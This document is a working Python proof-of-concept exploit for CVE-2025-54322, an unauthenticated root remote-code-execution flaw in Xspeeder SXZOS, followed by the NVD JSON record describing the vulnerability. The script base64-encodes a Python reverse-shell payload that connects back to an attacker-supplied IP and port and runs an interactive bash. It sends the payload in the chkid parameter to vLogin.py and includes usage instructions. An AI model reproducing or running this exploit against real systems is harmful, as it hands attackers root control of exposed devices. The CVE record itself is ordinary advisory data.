CVE-2025-54322

import requests import base64 import sys # CVE-2025-54322 PoC - Unauthenticated RCE in Xspeeder SXZOS vLogin.py # Target: Xspeeder SXZOS through 2025-12-26 def exploit(target_url, attacker_ip, attacker_port): """ Exploit for CVE-2025-54322 Vulnerable parameter: chkid (base64 encoded Python code) Additional parameters: title, oIP """ # Generate reverse shell payload # This creates a bash reverse shell connection back to attacker shell_code = f"import socket,subprocess,os;s=socket.socket();s.connect(('{attacker_ip}',{attacker_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" # Base64 encode the Python payload encoded_payload = base64.b64encode(shell_code.encode()).decode() # Prepare the exploit request endpoint = f"{target_url.rstrip('/')}/vLogin.py" data = { 'chkid': encoded_payload, 'title': 'login_attempt', 'oIP': attacker_ip } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Targeting: {endpoint}") print(f"[*] Payload length: {len(encoded_payload)} bytes") print(f"[*] Sending exploit...") try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Check your listener on port {attacker_port}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <attacker_ip> <attacker_port>") print(f"Example: {sys.argv[0]} http://target.com 192.168.1.100 4444") sys.exit(1) exploit(sys.argv[1], sys.argv[2], int(sys.argv[3]))

{"cve": {"id": "CVE-2025-54322", "sourceIdentifier": "[email protected]", "published": "2025-12-27T14:15:49.547", "lastModified": "2026-01-09T20:33:24.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xspeeder SXZOS through 2025-12-26 allows root remote code execution via base64-encoded Python code in the chkid parameter to vLogin.py. The title and oIP parameters are also used."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-95"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:xspeeder:sxzos:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-12-26", "matchCriteriaId": "76FD15BE-17CE-4BC3-9CB9-16C8C8064907"}]}]}], "references": [{"url": "https://pwn.ai/blog/cve-2025-54322-zeroday-unauthenticated-root-rce-affecting-70-000-hosts", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.xspeeder.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://pwn.ai/blog/cve-2025-54322-zeroday-unauthenticated-root-rce-affecting-70-000-hosts", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}